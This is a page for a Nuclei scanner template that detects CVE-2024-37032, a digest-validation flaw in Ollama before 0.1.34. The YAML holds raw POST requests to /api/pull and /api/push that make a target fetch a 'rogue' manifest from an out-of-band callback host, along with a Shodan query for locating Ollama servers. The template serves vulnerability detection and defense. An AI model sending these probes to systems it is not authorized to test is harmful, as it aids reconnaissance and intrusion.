Ollama - Remote Code Execution
ID: CVE-2024-37032
Severity: critical
Author: kaks3c
Tags: cve,cve2024,ollama,rce
Description
Section titled “Description”Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.
YAML Source
Section titled “YAML Source”id: CVE-2024-37032
info: name: Ollama - Remote Code Execution author: kaks3c severity: critical description: | Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring. reference: - https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032 - https://nvd.nist.gov/vuln/detail/CVE-2024-37032 - https://github.com/Bi0x/CVE-2024-37032 classification: cpe: cpe:2.3:a:ollama:ollama:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: ollama product: ollama shodan-query: ollama tags: cve,cve2024,ollama,rce
http: - raw: - | POST /api/pull HTTP/1.1 Host: {{Hostname}} Content-Type: application/json
{"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true} - | POST /api/push HTTP/1.1 Host: {{Hostname}} Content-Type: application/json
{"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}
matchers: - type: dsl dsl: - contains(interactsh_protocol, 'http') - contains_all(header, 'application/x-ndjson') && contains(body_2, 'retrieving manifest') condition: and# digest: 4a0a00473045022100ec4d118583821e84f200983bf59d8bb1995be162864588d057e03a7002f10a1f0220143658f8527a10308e2c0d1d92b1887639e6b7629bd7c25577a21d40ecff1e77:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-37032.yaml"